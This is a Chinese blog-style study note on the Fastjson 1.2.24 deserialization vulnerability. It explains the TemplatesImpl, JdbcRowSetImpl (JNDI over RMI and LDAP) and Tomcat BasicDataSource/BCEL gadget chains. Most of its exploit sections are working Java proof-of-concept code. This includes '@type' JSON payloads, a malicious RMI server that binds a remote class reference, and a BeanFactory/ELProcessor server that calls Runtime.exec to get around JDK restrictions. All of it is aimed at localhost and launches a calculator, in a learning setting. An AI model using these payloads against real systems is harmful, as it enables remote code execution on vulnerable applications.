Java-Fastjson-1.2.24漏洞学习笔记
Flow

环境

  • jdk8u65
  • 1.2.22 <= Fastjson <= 1.2.24

依赖

XML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>

基于 TemplatesImpl 的利用链

之前cc3就遇到这个TemplatesImpl的利用,就是字节码的加载,当时针对这个的链子是这样的

JAVA
1
2
3
4
5
TemplatesImpl#getOutputProperties()
->TemplatesImpl#newTransformer()
-> TemplatesImpl#getTransletInstance()
-> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

刚好这个getOutputProperties()就是一个getter方法,之前CB1链子也提到过。再针对fastjson反序列化的特性,反序列化得到类之后会自动执行该类的构造函数,getter方法,setter方法,所以现在我们就控制要反序列化的对象是``TemplatesImpl`类就好

再看一次能被利用的getter和setter的要求

满足条件的setter:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

其实TemplatesImpl类也有别的getter函数会被调用,但是getOutputProperties()目前最符合我们的要求,它的返回值是Properties类型也继承自Map类

现在尝试写poc

JAVA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Poc {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void main(String[] args) throws IOException {
ParserConfig config = new ParserConfig();
String evilPath = "/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"; // 读字节码
String evilCode = readClass(evilPath);
String evil_Class = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String jsonText = "{\"@type\":\"" + evil_Class + "\",\"_bytecodes\": [\""+evilCode+"\"],'_name':'flow','_tfactory':{},\"_outputProperties\":{ },";
System.out.println(jsonText);
Object obj = JSON.parseObject(jsonText,Object.class, config, Feature.SupportNonPublicField);
}
}

注意到这里有个config,看了一下

ParserConfig 的作用

ParserConfig 控制反序列化时的关键行为,包含:

  • 自动类型检测(autoTypeSupport:决定是否允许反序列化未明确声明的类。
  • 白名单/黑名单:限制可反序列化的类。
  • 自定义反序列化解析器:处理特定类的实例化方式。

若未显式传递ParserConfig,Fastjson默认使用全局配置(ParserConfig.getGlobalInstance())。如果全局配置的autoTypeSupportfalse(默认安全配置),则TemplatesImpl若不在白名单会导致反序列化失败。
传递自定义的ParserConfig覆盖全局配置,使用新实例的独立配置。

这个总体不难理解,就先这样

基于 JdbcRowSetImpl 的利用链

这个JdbcRowSetImpl类的利用主要就是基于 Bean Property 类型的 JNDI 的利用方式。里面可以找到lookup方法,这个对应上了之前的jndi注入后面的部分

connect()方法找出谁调用了,符合条件的就是setAutoCommit(),所以我们要到时exp要设置autoCommit参数,也要设置datasource才能保证被正确地lookup到,这就是这个链的利用思路

JNDI+RMI

JAVA
1
2
3
4
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
}

服务端

JAVA
1
2
3
4
5
6
7
8
public class Poc {
public static void main(String[] args) throws IOException, NamingException {
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc","Calc","http://127.0.0.1:8000/");
initialContext.rebind("rmi://127.0.0.1:1099/calc", reference);
}
}

客户端

JAVA
1
2
3
4
5
6
public class JdbcClient {
public static void main(String[] args) {
String jsonText = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/calc\", \"autoCommit\":true}";
Object obj = JSON.parse(jsonText);
}
}

成功弹出计算器

JNDI+LDAP

原理和之前差不多

这里我用工具起一个ldap服务器,再改一下客户端代码就好了

JAVA
1
2
3
4
5
6
public class JdbcClient {
public static void main(String[] args) {
String jsonText = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1/HuoyZUQEBX/CommonsCollections6/Exec/eyJjbWQiOiJvcGVuIC1hIGNhbGN1bGF0b3IifQ==\", \"autoCommit\":true}";
Object obj = JSON.parse(jsonText);
}
}

JDK高版本绕过

如果要高版本绕过,依旧是选择本地恶意类加载就好,用到beanfactory即可

服务端代码

JAVA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws Exception {
System.setProperty("java.rmi.server.hostname", "127.0.0.1");
Registry registry = LocateRegistry.createRegistry(1099);

// 直接使用Reference类而不是ResourceRef
ResourceRef reference = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

reference.add(new StringRefAddr("forceString", "x=eval"));
reference.add(new StringRefAddr("x", "Runtime.getRuntime().exec('open -a calculator')"));
// 包装并绑定
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);

System.out.println("RMI服务已启动,等待客户端连接...");
}
}

基于BasicDataSouce的利用链

这个和tomcat相关,好处是可以不出网,用到本地的恶意类加载

tomcat有一个org.apache.bcel.util.ClassLoader类,里面有defineClass实现类加载

要满足这段代码然后创建一个类名再到后面defineClass

JAVA
1
2
3
if (class_name.indexOf("$$BCEL$$") >= 0) {
clazz = this.createClass(class_name);
}

所以现在先想办法调用loadClass(),现在尝试直接调用

JAVA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.bcel.classfile.Utility;
import org.apache.bcel.util.ClassLoader;

import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class BasicPoc {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {

ClassLoader classLoader = new ClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
String code = Utility.encode(bytes,true); // 满足代码里面的判断条件
classLoader.loadClass("$$BCEL$$"+code).newInstance();
}
}

是运行成功会弹计算器的

所以找到类BasicDataSource#createConnectionFactory()方法

如果driverClassLoader不为空就会forName加载driverClassName和driverClassLoader,forName底层也会调用loadClass,所以现在看这两个参数是不是可控的,如果可以就把driverClassLoader指定成org.apache.bcel.util.ClassLoader,把driverClassName加载成恶意的字节码,从而实现恶意代码

当然是可控的,都有对应的setter

那现在就看有哪里调用createConnectionFactory()方法,链子是

1
2
3
BasicDataSource.getConnection()
-> createDataSource().getConnection()
->this.createConnectionFactory()

先尝试直接调用

JAVA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class BasicPoc {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {

ClassLoader classLoader = new ClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
String code = Utility.encode(bytes,true);
// classLoader.loadClass("$$BCEL$$"+code).newInstance();

BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassName("$$BCEL$$"+code);
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.getConnection();
}
}

现在也是可以弹计算器

下面引入fastjson反序列化

JAVA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class BasicPoc {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {

ClassLoader classLoader = new ClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
String code = Utility.encode(bytes,true);
// classLoader.loadClass("$$BCEL$$"+code).newInstance();

// BasicDataSource basicDataSource = new BasicDataSource();
// basicDataSource.setDriverClassName("$$BCEL$$"+code);
// basicDataSource.setDriverClassLoader(classLoader);
// basicDataSource.getConnection();

// 修正的JSON字符串格式
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+ code + "\",\"driverClassLoader\":{\"@type\":\"org.apache.bcel.util.ClassLoader\"}}";
JSON.parseObject(s);
}
}

这里要用parseObject才可以,因为要用到getter方法,parseObject里面parse后有toJson才会调用到getter方法

这个链子大概就是这样。

参考

【fastjson反序列化漏洞2-1.2.24利用】https://www.bilibili.com/video/BV1pP411N726?vd_source=46e5237289ae6c1a3c7bcab6091e42a6

https://drun1baby.top/2022/08/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8702-Fastjson-1-2-24%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

小结

前面讲到的利用还是套上了以前的知识,这次是用json字符串去触发反序列化,所以要先理解好前面的内容,相对来说结合jndi注入的利用链比较常见

 评论
评论插件加载失败
Powered By Valine
v1.5.2